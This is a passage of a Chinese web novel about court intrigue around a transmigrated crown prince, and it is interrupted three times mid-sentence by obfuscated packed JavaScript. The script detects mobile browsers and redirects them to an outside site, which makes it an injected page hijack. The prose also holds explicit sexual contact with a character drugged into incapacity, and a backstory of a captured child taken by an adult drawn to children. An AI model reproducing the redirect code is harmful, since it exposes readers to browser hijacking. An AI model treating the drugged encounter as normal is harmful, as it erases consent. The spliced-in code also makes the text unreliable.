萧鸿雪蹙眉望着他这幅轻佻放浪的模样,心中莫名有些不悦,没有动作。 杨惜见萧鸿雪不动,主动用手中的玉杯靠了上去,他听着杯盏相击时清脆的声响,漫不经心地勾唇一笑。 “阿雉,新年快乐啊。” 杨惜仰头,将玉杯中的酒一饮而尽。 萧鸿雪凝眸望着杨惜,见酒液顺着杨惜白皙纤长的脖颈滑进衣襟里,眼神一暗,伸手按住了杨惜执杯的手,嗓音微哑道:“……别喝了。” “本宫高兴。” 杨惜毫不在意地摇摇头,见又有三两个官员聚过来向他敬酒,轻轻拨开萧鸿雪的手,再度给自己斟了一杯,拈着玉杯微笑起身。 萧鸿雪攥紧了指掌,复又松开,深深地看了杨惜一眼。 然后,他恢复了平日里那种冷淡疏远的语气,道:“殿下高兴就好。” “兄长,我们走。” 萧鸿雪转头,为萧淮流理了理他身上大氅的褶痕。 杨惜心不在焉地听着耳边官员们的恭维,眸光紧紧跟着离去的二人的背影。 他听见萧淮流对萧鸿雪说,“雪儿,昨日是你的生辰,兄长为你备了一把好剑,就放在你的房间里。” 萧鸿雪回以温柔一笑,“多谢兄长。” 二人又说说笑笑,返回了昭王的席位。 他们身后,杨惜的指甲不知何时已将掌心掐出了深深的白痕。 真烦啊。 杨惜知道,萧淮流送的剑会成为日后燕武帝带入陵墓之中的珍视之物。而自己送的长命锁……估计转头就要被萧鸿雪扔了吧。 不知不觉间,又是好几杯酒落肚,杨惜脑子昏昏沉沉的,正准备提前告退,脖颈忽地被一双纤小柔腻的手臂环住了。 “皇兄。” 萧幼安仰起脸,甜甜一笑。 “皇兄今夜喝了这么多,若是直接回宫休息,明日会头疼的。” “章华宫离黄金台很近,要不朱鹀陪你去黄金台散步醒醒酒?” 杨惜揉了揉自己的太阳穴,思考了一阵后,道:“不去。” “我今天很烦,没心情,想睡了。” “头疼就头疼吧。” ……萧成亭今天受什么刺激了? 鲜少被他拒绝的萧幼安惊愕地看了杨惜一眼,又几番殷劝他去黄金台走走醒醒酒,但杨惜拒绝得很干脆。 他心里烦躁,而最让他感到烦躁的是,他根本不知道自己为什么会这样。 萧鸿雪和萧淮流待在一处语笑晏晏的画面就像细针一样,刺得他眼睛生疼。 可是,为什么? 杨惜迷茫地眯起了眼睛。 “……是。” “臣弟告退。” 再劝下去就惹人怀疑了,萧幼安只得作罢。他脸色阴沉如水,攥紧了自己袖下的手掌。 杨惜再度望向昭王的席位,明月朝他挥了挥手,他回以淡淡一笑。 方才萧鸿雪和萧淮流都坐在昭王身后,如今只有萧淮流还尚在席间,萧鸿雪已不见踪影。 杨惜心里空落落的,莫名堵得慌。 他走出章华宫,吩咐轿辇回显德殿,轿辇上下颠簸时,他差点迷迷糊糊地睡着了。 心脏却仿佛被烈焰灼烧,搏动得越来越快…… * 碧梧院。 萧鸿雪静静地站在廊下,看着漫天的飞雪,手中把玩着杨惜赠给他的那条银锁。他耳边不时有几声烟花爆竹的鸣响传来,倒衬得此处更显寂寥了。 他面上神情淡漠,看不出情绪,手指一下又一下拨弄银锁的动作却显示出他内心的迷茫和焦躁。 惑心花药效发作要半个时辰。此刻,太子应该已在黄金台铸成大错,被当众揭发了。但,萧鸿雪却并没有感受到他预想中的大仇得报的快意。 这时,萧鸿雪身后突然传来了一阵微小的响动。 “谁?” 萧鸿雪倏地握紧了袖中的匕首,眉眼凛冽地转过头去。 杨惜站在萧鸿雪身后,不待他动作便直接搂过他的腰,将他抱在怀里。然后,杨惜轻轻撬开萧鸿雪的手掌,与他两手相扣。 萧鸿雪手中的那条银锁坠进了雪地里,他正欲弯腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874175|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去拾,杨惜却将下颔抵在他的肩上,拦住了他的动作。 杨惜在萧鸿雪耳畔轻语道:“阿雉,在干什么呢?” 怎么回事? 萧鸿雪面露诧异神色,浑身僵硬,一时间竟忘了动弹挣扎。 杨惜脑子迷迷糊糊的,听觉和视觉都很迟钝,有一种发高烧般的昏沉感,四肢百骸都被烧得滚烫。 杨惜原本打算回寝殿休息,但在路过碧梧院时,远远望见了廊下这道素白的身影,脑海中突然传来一阵尖锐的刺痛,脚步便不受控制地朝这里挪来。 他想要靠近眼前这个人,很想很想。 有一道声音蛊惑般在他心中响起:只有靠近这个人,拥抱这个人,将这个人揉进骨血之中,才能让他急促到发痛的心跳渐渐沉静。 杨惜蹭了蹭萧鸿雪的颈窝,轻语道:“阿雉,我想你。” “不知道为什么,突然就是很想看见你。”杨惜笑了。 萧鸿雪感觉自己心跳都漏了一拍。 他大概反应过来发生什么了。 萧幼安那里出了一些差错,他没能把太子带到黄金台。 太子既然没有去黄金台,那么他服下惑心花后,第一眼看见的人,不就是—— 自己? “你很快就要同你的兄长回王府了吗?” “阿雉,我舍不得你。我想……想要你。”杨惜虽极力隐忍,唇齿间依旧泄出了一些旖旎的声息。 “不,不是的,我想说的不是这个,我也不知道为什么我会……” 杨惜挣扎着清醒了一瞬,但眼神很快又变得迷离。 “你别走,好不好?” “陪陪我……” 杨惜双手颤抖,轻轻抓着萧鸿雪的前襟,声音里满是对被抛弃的害怕。 “太子哥哥,你这是在和臣弟……调情吗?” 萧鸿雪借月色细细地量视着杨惜的眉眼,突然笑了一声,手指抚上他额心的红痣,平静地说道:“太子哥哥,你也是美人呢。” “如此美人对我投怀送抱,臣弟虽然年少,却也是个男人啊。哥哥说想要我?哥哥就不怕……被我欺负得腿都合不拢吗?” 他伸臂回抱住杨惜,靠在他耳边轻轻呵气。 “阿雉想怎么对我,都可以啊。” 杨惜皱着眉,似乎在努力思考萧鸿雪这话的意思,因药力作用却迟迟反应不过来,全凭身体的本能反应回答道。 “阿雉来也可以。” “你呢……你想要我吗?” “我只是想和阿雉在一起。阿雉在下面还是上面,都可以。”杨惜垂下眼眸,声音细弱。 萧鸿雪顿了顿,嗅着杨惜身上那股让他安心的温暖干净的气息,瞥了眼杨惜的衣袍勾勒出的优美流畅的腰线、敞开的领口下白皙的皮肤。 萧鸿雪心跳加速,又隐隐有些失落,他知道,太子对他投怀送抱,并非出自他本意,只是惑心花的功效。 这花会使中者丧失心智,恢复毫无矫饰的最本真的性格。越是风流成性的人药效就越猛烈,按理来说太子早应该色性大发了,可是,怎么感觉太子中了惑心花之后,变得莫名的……呆傻纯情呢? 但是无论如何,萧鸿雪自认并不是清心寡欲的人,再这样下去,说不定真会发生些什么了。 于是,萧鸿雪深吸一口气,松开了抱住杨惜的手,将杨惜扒着自己的手指一根根掰开,然后一记手刀将他劈晕了。 噗通、噗通…… 起初萧鸿雪以为如此急促的心跳是杨惜的,可是杨惜晕过去后,这急促的心跳声却依然没有平静下来,原来,是他自己的吗? 萧鸿雪抬手抚上自己的心口,然后神色复杂地看了一眼靠在他肩上的杨惜。 他叹了口气,将杨惜打横抱起,轻轻放在自己的榻上,合上房门,朝萧幼安所居的华阳宫走去。 36.惑心(二) 除夕夜宴散宴后,萧幼安刚返回华阳宫,正欲将身上沾雪的外氅递给宫婢,一道素白的身影突然自檐廊转角的阴影处缓缓走出。 萧幼安略怔一下,而后勾唇一笑,将身边的宫人都支开,把萧鸿雪领到书房中。 “鸿雪哥哥,坐。” 招呼萧鸿雪坐后,萧幼安兀自在书案后坐下,悠闲地执起书卷,毫不着急地翻读了几页。 萧鸿雪没有坐下,眯眼打量着萧幼安,脸色有些阴沉。 萧幼安见他一副兴师问罪的模样,手中转着狼毫笔,托腮一笑。 “雪夜寒冷,鸿雪哥哥自显德殿跋涉来此,辛苦了。要先喝口热茶暖暖身子吗?” “你知道我来这里不是为了喝盏热茶的。”萧鸿雪冷冷答道。 “我想知道,你给的‘好东西’,是怎么用到我身上来的?” “这样啊……他回显德殿之后,第一眼看见的人是你啊,”萧幼安略微思索萧鸿雪的话后,反应过来,勾唇一笑,“有意思。” “所以……你们两个睡了吗?”萧幼安语调狎昵。 萧鸿雪闻言脸色愈发阴沉,面上能凝出水来,冷冷地剜了萧幼安一眼。 “鸿雪哥哥何必如此生气,反正你在众人眼里,不本来就是我皇兄的脔宠吗?”萧幼安调侃道。 见萧鸿雪不语,萧幼安也敛了笑意,将手中的笔一搁,道:“其实我倒还想问问鸿雪哥哥呢,萧成亭到底在烦什么,你们吵架了?” “他一副受了什么刺激的萎靡模样,连去黄金台醒酒散心的心情都没有。” 萧鸿雪闻言一愣,仔细思索一番后却也想不明白其中关节。 “呵……鸿雪哥哥不必担心萧成亭对你死缠烂打,惑心花的功效不长,最多三个时辰。但今晚你若不想被他睡或是睡了他,就小心点吧。” “或者,你也可以把他笑纳了。他的皮相挺出挑的,在上在下,你都不吃亏,不是吗?” “当然了,在上更解气,金枝玉叶的一国太子在身下雌伏呻吟的滋味……我也很好奇呢。”萧幼安走下来,促狭一笑。 “你的计谋,根本用不上惑心花,那东西对他没什么效果,只会像个丧失心智的孩童,反倒惹人怀疑。最寻常的催/情药即可。”萧鸿雪没有回答他的话,冷冷地说道。 “没有效果吗……我知道了。” 萧幼安闻言,若有所思地点了点头。 萧鸿雪正准备径直走出华阳宫,萧幼安忽地出声,“下次……把他哄着点吧,鸿雪哥哥。” “半月后宫中还有元宵宴,那时,可别再失手了。” 萧鸿雪听出了他的话外之意,脚步顿了顿,而后迈过门槛向外走去。 * 萧鸿雪回到碧梧院,将房门推开,发现杨惜早已醒了过来,正可怜兮兮地坐在榻上,抱着自己的双膝发呆。 杨惜呆滞无神的双眸看见出现在门口的萧鸿雪时,倏地有了亮光。 “你去哪里了?” “阿雉,过来,哥哥抱。” 杨惜一脸纯真笑容,朝萧鸿雪张开双臂。 萧鸿雪神色复杂地看了他一眼,没有动作。 “我到处都找不见你……我想你了。” 见萧鸿雪不理他,杨惜手指绞着衾被,声音很是委屈。 萧鸿雪叹了口气,不自觉柔声道:“……方才有点事。” “还难受吗?” “难受。”杨惜低垂着头,声音轻弱。 “这里,一看见你就涨得很疼,很难受。” 杨惜用手指了指自己小腹下面的某处。 顺着杨惜手指方向望去的萧鸿雪:…… 所以,这个人完全没有自己现在是在耍流氓骚扰别人的自觉是吗? “阿雉,我难受。” 见萧鸿雪没什么反应,杨惜以为他没有听见,提高了音量。 杨惜的面庞白净如雪质,眼眸闪烁着湿润的光泽,睫毛不时轻颤,双唇轻轻呼吐着热息,眼神一错不错地望着萧鸿雪。 萧鸿雪也凝眸和杨惜对视,杨惜的眼睛,就像两只盛满了温水的碗皿,他专注地看着萧鸿雪时,眼神纯粹干净,不含一丝杂质,竟让萧鸿雪有了一种他能包容、接纳自己的全部的错觉。 “……自己用手。” 萧鸿雪转过脸,不再看杨惜,他抿了抿唇,声音很轻。 “怎么……用?”杨惜闻言,迷茫地抬起头。 “忘了他现在没有心智了……” “麻烦。”萧鸿雪蹙了蹙眉,走到杨惜身前。 他叹了口气,认命般道:“我来帮你,一会儿不许乱动,”他顿了顿,“也不许发出声音。” “好,谢谢阿雉。阿雉,你真好。” “我喜欢阿雉。” 杨惜脸上扬起了一个明媚的笑容。 萧鸿雪闻言抿了抿唇,嘴角也勾起些浅淡的笑意。他阖上眼,将手探进衾被,覆上那人的裈裤,轻轻动作起来。 杨惜的身体不由自主地剧烈颤抖,虽听话地极力压抑着声音,但那刻意忍耐的低低的喘息和呻吟反倒更加撩人了,听得萧鸿雪手上动作一滞,心跳如擂鼓。 萧鸿雪猛地睁开眼睛,见杨惜已将自己的双唇咬到泛白,唇齿间流泻出模糊的呜咽和微弱的啜泣,“唔……” 杨惜微微侧着头,露出一段线条优美的白皙颈项,他身上除了醉人的酒气,似乎还散发着一种朦胧的无名香气。 萧鸿雪忽地想起方才杨惜在席间斟酒自饮时那副摄人心魄的模样,指腹轻轻抚过杨惜眼边的滴泪痣。 烈火般迅猛燃烧的欲望渗透四肢百骸,萧鸿雪感受着自己身体的变化,深吸了一口气,再次阖上了眼。 自己好像……真的对他起反应了。 早知道就该直接把太子扔到雪地里让他冷静冷静的,现在这算什么啊? 恍神间,萧鸿雪的一只手已洒满了温热的、粘腻的液秽,他睁开眼,蹙眉看着杨惜。 “阿雉,对……对不起。我没忍住。” 杨惜生怕萧鸿雪斥责自己,抱着衾被向后缩了缩。 “阿雉,你的手好软,好舒服……就是有点冰。” 杨惜小心翼翼地看着萧鸿雪。 萧鸿雪看着杨惜,目光深邃,耳畔忽地响起了萧幼安的话。 他用另一只手掐起杨惜的下颔,逼他和自己对视,道: “呵……方才臣弟让太子哥哥舒服了,现在是不是该换太子哥哥来,让臣弟舒服舒服了?” “臣弟的手都要举不起来了。” 萧鸿雪的声音有些幽怨。 “要怎……怎么做?” “刚才臣弟是怎么做的,哥哥就……” 照着来就好。 可惜萧鸿雪话音未落,就感觉自己的双唇被温软地覆盖——杨惜轻轻捧着他的脸,亲了他一下。 “这样……会让阿雉舒服吗?” 这个人……是怎么中了惑心花还能这么纯情的? 这乖得像孩童对长辈表示喜欢似的小动作让萧鸿雪头脑一懵。 “……算了。也可以吧。” 萧鸿雪再也忍不住,用手扣住杨惜的后脑,将他往前一带,加深了方才那个蜻蜓点水般的浅吻。 “唔……” 杨惜被吻得有些喘不过来气,唇齿间溢出丝丝津唾,唇上还因磕碰擦出了血丝。 一吻毕后,杨惜满脸泛红,唇角染血。 完全没有意识到自己现在这副模样有多惑人的太子殿下抱着衾被,得寸进尺道: “阿雉,我有让你舒服吗?那今晚……我可以抱着你睡吗?” “一看不见你,我就好难受。但是好像只要靠在你身边,就不难受了。” “不可以,自己回去睡。” 萧鸿雪想都没想,果断拒绝。 “我不会趁人之危,”萧鸿雪眼神淡漠,用指尖轻轻揩拭着杨惜唇边方才被自己咬得溢血的伤口,轻声道:“除非哥哥是真的想和臣弟发生些什么。” “哦……”杨惜有些委屈地低下头,绞着自己的衣袖。 “那晚安,阿雉,明天见。” 虽面有失落之色,杨惜依旧抬首一笑。 “明天见……” 萧鸿雪没有回头看杨惜,忽觉身后有一阵风吹来——杨惜自身后抱住了他。 比萧鸿雪高出一个头的青年,将下颔抵在他的发顶蹭了蹭。 “突然想起,阿雉有洁癖,我给你擦擦。” 杨惜倾身牵起鸿雪的手,用绢巾细细地擦拭他的指掌,然后将他的手贴在自己温暖的心口,扬起脸对他一笑。 “阿雉你手太凉了,我给你捂捂。” “捂热了我马上就走,不会给阿雉添麻烦的。”似乎是怕他生气,杨惜连忙小心翼翼地保证道。 “今晚,谢谢阿雉了……咦,阿雉,你脸怎么红了?”杨惜侧着脸,疑惑地发问。 “没有。你看错了。” 萧鸿雪冷淡地抽出了自己的手,蓦地转过脸去。 “那,我走了。” “嗯。” 萧鸿雪双颊发烫,平复着呼吸,想起自己方才主动亲了太子,顿觉不可思议。 “啊!” 刚和萧鸿雪道过别,迈过门槛向外走去的杨惜在覆满积雪的道路上狠跌了一跤,惊叫出声。 萧鸿雪心下一紧,用轻功快速疾行到门口。 杨惜跌坐在雪面上,衣袍上满是泥垢与雪水,额角都磕出了血,眼中闪烁着点点泪光。 他捂着额头,委屈兮兮地望着萧鸿雪。 “阿雉……” “好痛哦。” “这个路它怎么在转啊?” 萧鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888595|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪:…… 如果就这么让他回去,估计他能把自己给活活摔死吧…… 他叹了口气,俯身将杨惜抱起,放回榻上。 “你睡这边的床榻上吧,我不睡。” 萧鸿雪用沾了温水的绢巾轻轻擦拭着杨惜额头的血迹。 “我真的可以睡在阿雉这里吗?” 杨惜乖顺地任他动作,双眸发亮。 “嗯……” 待萧鸿雪替他处理好额上的伤口后,杨惜大概也折腾累了,盖上衾被,脑袋一沾枕头,便睡了过去。 萧鸿雪往灯台里添了些油,坐到书案前捧起书卷,准备挑灯夜读。 可他听着身后那人发出的均匀平稳的呼吸声,眼前的字却怎么也读不进脑子里。 这时,身后的杨惜突然梦呓起什么,萧鸿雪有些好奇,凑过去听。 “对,对了,阿雉……喝药!” “今天的药喝了吗?” 萧鸿雪:…… 不是,这人其实不是太子,是太医吧?都这样了,还半点不忘提醒自己喝药啊? “本宫不许你走。” 这时,杨惜突然伸出手,死死抓住了榻边萧鸿雪的衣袖。 “松开。”萧鸿雪看向那只钳住自己衣袖的瘦得见筋的手,声音淡漠。 “本宫不要。” “不许走……就是不许走。他是什么破兄长,有什么了不起的,本宫——也是你兄长!” 萧鸿雪的衣袖被钳着不放,看着杨惜颈侧方才被自己劈出的一记深深的红痕,到底也没舍得再给他来一下,他无奈地看了杨惜一眼,给他掖了掖被角。 “好难看的睡相。” 萧鸿雪攲靠在杨惜榻边,打量了一阵他的睡颜,竟意外地感到一阵宁静与安心,索性轻轻躺在他身侧,阖目小憩。 虽萧鸿雪有意与杨惜间隔了半张榻的距离,但杨惜迷迷糊糊间一个翻身,直接把萧鸿雪搂在怀里,腿还搭在了他的腰上。 萧鸿雪倏地睁开了眼睛,摩挲着袖内的匕首。 但杨惜只是一边呓语着,一边把衾被分给他盖。 “唔……阿雉身上好冷,盖……盖被子。” 萧鸿雪怔了一下,默默将匕首收了回去。 两人就这么迷迷糊糊地相拥而眠了。 翌日,窗外雀啭鸟啼,天光大盛。 杨惜醒来时,脑子昏昏沉沉的,昨夜发生的事都记不清了,像被生生挖去了什么一样。 “我怎么会在这里?” 杨惜揉着自己一跳一跳的太阳穴,打了个呵欠,睁开了眼睛。 眼前一片朦胧,他左右环顾了一下,倏地看见了一个虽然清夭艳绝,但如果一睁眼就看见,其效果堪比恐怖片怼脸一样令他悚然的人。 “……谁知道呢?” 萧鸿雪躺在杨惜身侧,一头银发垂在肩上,他淡淡地瞥了杨惜一眼,然后反手用发簪将自己的银发挽起。 嗯……用的还是那根二人初见时差点把杨惜捅了个对穿的簪子。 “卧、卧槽!” 猛拧了自己大腿一把,发现不是做梦的杨惜撕心裂肺地惨叫了一声。 一睁眼发现萧鸿雪躺在自己身侧的恐怖程度完全不亚于他刚发现自己穿成了倒霉炮灰萧成亭的时候。 “阿、阿雉啊,我……我有对你做什么吗?” 杨惜几乎是连滚带爬地翻下了榻,挪到铜镜前,发现除了额角边和唇上多出了几道伤口,自己的衣物和萧鸿雪的衣物都还算齐整,松了口气。 他正准备落荒而逃,但在逃之前还不忘对萧鸿雪解释道: “阿……阿雉,我昨晚应该是耍酒疯了,梦游了,我……我不是故意的!阿雉,我错了!” “你没有对我做什么。”萧鸿雪淡淡地看了杨惜一眼。 “真……真的吗,那太好了,哈哈哈哈。” 虽然不知道自己为什么会出现在这里,但得到萧鸿雪的答复后,杨惜喜出望外,一脸“老奴这就滚”的愉悦轻松,走出了寝殿。 但我有对你做什么。 萧鸿雪低下头,按了按自己的心口,对自己难得的失控感到没由来的迷茫和惶恐。 杨惜一路走到院中,突然在雪地里看见了自己送给萧鸿雪的那条银锁。 他脸上没什么表情,但两手微微发抖,将积雪刨开,把银锁捡了起来,用衣袖擦拭干净。 他正要离开,身后突然有一道声音响起: “太子哥哥送给臣弟的生辰礼物,还有收回去的道理吗?” 萧鸿雪抱臂挑了挑眉,走上前来,摊开掌心。 “……是臣弟保管不慎,但臣弟还并不想将它交还给太子哥哥。” 杨惜闻言,脸色好转了些,垂眼将银锁放进他的手心。 “……那下次,要放好了。” “嗯。” 37.世子 近日,昭王府有两件大事。 第一件,昭王妃魏书萱入白马寺带发修行,王府一应事务悉数交由典军处理。王妃自言她惟愿长伴青灯古佛,不再过问俗事。 第二件,则是昭王请旨,立自己已逝的外室穆忆所生的庶子萧鸿雪为世子。 明眼人都知道,这两件事之间其实存在着些暧昧的联系。 据王府内知晓内情的人透露说,虽未正式册立,但由王妃所出的长子萧淮流继世子之位本是板上钉钉的事,是王妃自个儿去吹了枕旁风,极力殷劝昭王改立萧鸿雪为世子的。 此举令众人纷纷咋舌,很是不解。王妃解释说是因为自己前些年出于醋妒外室,对继子萧鸿雪多有苛虐,如今幡然悔悟,想尽力弥补他。 除了世子之位,她后半辈子也会皈依佛门,终日诵经苦修,祈求消除一身业孽。 得知此事时,太子殿下正被宫娥们围着穿上参加籍田礼的衣饰。 孟春正月,春耕之前,天子会率公卿诸侯前往千亩田畴的南郊,手执耒耜在籍田上三推或一拨以祈社稷,称为“籍礼”,以示对农耕的重视。 杨惜头戴嵌珠冠,腰束通犀金玉带,因天候乍暖还寒,在翠色的钑花绸袍外披了件雪白的狐氅,长身玉立,风姿特秀,一派风流气度。 他一边任宫娥梳理着腰后如缎的乌发,一边听她们讲昭王府的事解乏,唇角微扬。 前脚刚穿书,后脚就出家遁了……不愧是老月,做事够绝啊。 不过呢,依照暗黑系男主萧鸿雪的性格,别说出家当尼姑了,她就是出家当佛堂前的木鱼,萧鸿雪也会找上门给她生生掰成两半、砸得稀碎。 在血海深仇面前,世子之位这种补偿不过是杯水车薪罢了。 杨惜摇了摇头。他们炮灰自救联盟想把自己的小命好好苟住是真的任重道远啊。 除夕夜宴后的第二日,萧鸿雪便不告而别,径直回到昭王府了。 杨惜怀揣着以金纸包裹、准备发给萧鸿雪的压岁钱,独自站在已人去殿空的碧梧院里,愣了很久。 殿内没有留下一丝生活痕迹,干净寂寥得仿佛不曾有人居住过。 自此,杨惜没有与萧鸿雪朝夕相处刷好感的机会了,他正为自己的茫茫未来苦恼,思考其他出路时,宫娥的话打断了杨惜的思绪。 “殿下,日前突厥王子使团抵京,今日京城南郊籍田,陛下邀他们一同观礼。” 杨惜回过神,轻轻吟啄着宫娥的话:“突厥王子……” “正是,这位王子乃是突厥可汗的二子,名唤慕容嘉,他携自己的胞妹慕容妗一同来燕,商两国外交事宜。” “据说突厥欲与我朝修好,有意将这位王女送来和亲……” “和亲?”杨惜略怔了怔,看向那宫娥。 “是,王女去年方及笄,而目前朝中适龄的皇子只有殿下您和二皇子。” “不过,咱们殿下身份何等尊贵,又是长子,论地位齿序,二皇子定是越不过您去的。” 宫娥手中梳发的木篦发出沙沙的声响。 杨惜闻言,没有答话,指尖拨了拨自己耳边的金珠坠,垂眸沉思了一阵。 慕容嘉…… 原书中,这慕容嘉也是一个刚露完脸就早早下线的炮灰,他出使大燕时流连于风月之地,后被一名青楼舞姬毒杀。 因那名毒杀慕容嘉的舞姬得手后当场自尽,此案一时成为无法勘破的悬案。 出了这种事,原定的和亲联姻直接作废,王女慕容妗当即带着使团返回突厥。 睿宗无奈,事后遣人送去了数量庞大的金银抚恤。 可突厥狼子野心昭也,虽当时缄口不发作,但后以此为借口挥师北下,与朝中内奸里应外合,夺走凉州五城,使大燕损失了近八分之一的国土。 后来突厥可汗逝世,幼子慕容徽继位。经探子调查回报,当年慕容嘉死于大燕,正是这慕容徽派死士伪装成青楼舞姬前去暗杀的,既夺得汗位,又为突厥换回了五座城池。 杨惜虽然不清楚这下线太早的慕容嘉是何许人物,但他弟弟慕容徽是个绝对的狠人,于大燕而言,慕容嘉继位远比慕容徽继位来得有利。 看来,自己得尽量把这慕容嘉的性命给保下才行。 杨惜若有所思地眯起眼。 宫娥将一枚用以绾发的玉笄插入杨惜发间,道:“好了,殿下。” “嗯。我们走吧。” 杨惜转头看向一旁抱剑等候的贺萦怀。 * 京城闾阖门三门大开,天子乘华盖玉辇,跟从其后的车驾密如鱼鳞。旌旗彩帜,锦簇光耀,佩玉鸾铃,鸣响清脆。 妃嫔手捧各式谷种,大司农手执农具,宫正则负责护卫开道。 太子銮驾在天子玉辇之后,杨惜斜靠着软垫,听着微风吹动车幔时,轻纱细绢窸窣的声音。 他没心情去关注仪仗如何盛大,一心思索着如何才能不引人注意地保下那位突厥王子的性命。 想着想着,又觉得有点可笑。自己的小命都还岌岌可危呢,还想着管闲事,难道是这太子当久了,代入太深了? 杨惜摇了摇头,转头瞥了一眼銮驾后的突厥使团。 帝王仪仗很快行至京城南郊。 原野土地丰美肥沃,田间水渠浪花激荡。台坛上垂挂着天青色的帷幕,数百耕牛待驭于垄边。 车驾辚辚作响,朱红的车轮扬起细小的尘土。自车驾上走下的朝官命臣们身着盛美的春服,手捧玉璋,按官阶列定。 他们面色肃穆惶恐,等望着万乘之尊的车驾。 睿宗的玉辇行到台坛前时,箫管鼓磬齐鸣,洪亮的钟声响彻云霄,纷纷喧喧,尘雾漫天。 “天子千亩,诸侯百亩。籍之言借也,借民力治之,故谓之籍田,朕亲率耕,以给宗庙粢盛。”[1] 睿宗冕垂朱纮,手执耒耜,登上台坛。他足下踏着松土,手中揽握长缰,三推而罢。 在天子与诸位皇子之后,众官按贵贱依次试耕,或五推或九推。 南郊的乡邑之民接踵擦肩,相杂而至。他们皆喜形于色、欢呼喧嚷,还有人聚集在大路上击鼓舞蹈,讴歌吟颂圣明治世。 突厥使团在台坛下观礼。王女慕容妗侧身坐在马背上,以绢纱覆面,胳臂和脚腕戴满银钏金链,光华闪烁。 她手捧心口,双眸发亮,感叹着眼前的盛象:“大燕的籍田礼真是震撼啊……” “我们漠北草原有更丰美的水草和牛羊。”站在慕容妗身旁为她牵马的慕容嘉转过脸,冲她微微一笑。 慕容妗闻言却垂下眼眸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916549|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些黯然神伤。故乡是最美的地方,但她此行是为和亲而来,若嫁与大燕王室,便魂锁异乡地,或许终生不能再见漠北那片宽袤的草原了。 慕容嘉看出她的情绪有些低落,轻轻握住了她的手,柔声道:“没事的,阿妗。” “传闻大燕太子荒淫昏庸,我们如今亲眼来看看,如果传闻属实,即使被父汗责难,阿兄也断不会让你嫁给这样的人。” 慕容妗点了点头,平复情绪后,忽听见身后的几位突厥使节正在用突厥语戏弄前来谄媚讨好使团的宦官。 使节们用很是轻侮的突厥词汇与宦官交流,那宦官因不通突厥语,只笑着点头称是,几位使节乐得纷纷捧腹,哈哈大笑。 “阿兄,这样是不是不太好……”慕容妗巴掌大小的脸血色很淡,轻咳一声,愁眉轻蹙。 慕容嘉闻言轻笑了一声,“不用管,我们草原男儿最轻视这种阉人媚货。” “男儿自当横戈跃马,顶天立地。这些阉人却一副滴粉搓酥的阴柔模样,袖口甚至还有脂粉气,我也瞧不惯他们这副德行。” 这时,一个紫袍银发的身影行过突厥使团这边。 萧鸿雪冷淡地瞥了一眼被突厥使节戏耍却不自知,依然满面谄媚笑容的宦官,轻语道:“常侍大人好雅量,被使节这样轻侮仍能面不改容。” 慕容嘉倏地抬首,惊讶地看了萧鸿雪一眼。 这个人,他懂突厥语? “萧……萧世子此言何意?”那宦官一愣,看向萧鸿雪。 “没什么意思,失礼了。” 萧鸿雪无心解释,并未驻足,打算径直离开,去路却被慕容嘉挡住了。 “这位美人世子,说来有些不可思议,但小王越看你越觉得有些眼熟……我们是不是在哪里见过?” 慕容嘉眯着眼,轻轻抬起萧鸿雪的下颔,正欲仔细量视他的五官,萧鸿雪轻笑一声,反手将慕容嘉的胳臂扭到他身后。 然后,萧鸿雪蹙眉望向眼前那张额垂银帘,挡遮着右眼的异族脸孔,怔了怔,面色微微发白。 “……见过吗?” “最好还是,不要见过吧?” 萧鸿雪的声音有些不易察觉的颤抖,将袖下的指掌攥得极紧。 被扭着胳臂的慕容嘉微微一笑,靠在萧鸿雪耳旁轻语道: “几年前,小王尚还年幼时,曾在叶护帐中见过一个被掳回的燕人男孩。那是个美得惊人,也狠得惊人的孩子,小王至今还记忆犹新。” “当时所有的燕人孩童都在哭喊,他被剥净了衣裳,只披着一身羊皮,却攥着手中从看守身上偷来的短匕,杀死了两名突厥勇士。” “他被浇冰水惩罚,和饿狼关在一起搏斗,后来,虽在狼吻之下被撕咬得浑身血肉模糊,却真的战胜了狼的他,被小王的一位有恋慕孩童的嗜癖的族亲带回帐中了……” “小王的那位族亲不仅授他武艺,还教他突厥文。后来,他被那孩子一刀捅穿了胸口。” “那个孩子,”慕容嘉顿了顿,漫不经心地抬手抚了抚萧鸿雪的脸廓,“就是你吧,美人。” “没想到,病成那副模样被扔出营帐的你,居然活了下来。” “而且还摇身一变,成了燕国的世子殿下。” 萧鸿雪的瞳孔猛地一缩。 38.鱼肉 萧鸿雪原以为,他不会再想起的。 那些痛到快要遗忘的旧事。 那扇被他封闭在心中最隐秘最阴暗的角落里的门,又一次被打开了。 七年前,凉州城。 